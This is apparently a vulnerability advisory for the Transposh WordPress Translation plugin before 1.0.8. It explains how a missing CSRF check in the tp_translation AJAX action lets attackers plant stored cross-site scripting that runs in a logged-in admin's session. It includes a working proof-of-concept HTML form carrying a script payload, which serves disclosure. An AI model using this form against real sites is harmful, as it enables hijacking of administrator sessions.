WordPress Plugin Vulnerabilities

Transposh WordPress Translation < 1.0.8 - CSRF to Stored XSS

Description

The plugin does not have CSRF check in its tp_translation AJAX action, which could allow attackers to make authorised users add a translation. Given the lack of sanitisation in the tk0 parameter, this could lead to a Stored Cross-Site Scripting issue which will be executed in the context of a logged in admin

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="tp_translation" />
      <input type="hidden" name="ln0" value="en" />
      <input type="hidden" name="sr0" value="0" />
      <input type="hidden" name="items" value="1" />
      <input type="hidden" name="tk0" value="<script>alert(/XSS-csrf/)</script>" />
      <input type="hidden" name="tr0" value="csrf" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Affects Plugins

References

Classification

Miscellaneous

Original Researcher
Julien Ahrens
Verified
Yes

Timeline

Publicly Published
2022-02-22 (about 2 years ago)
Added
2022-07-28 (about 1 years ago)
Last Updated
2023-04-28 (about 1 years ago)

Other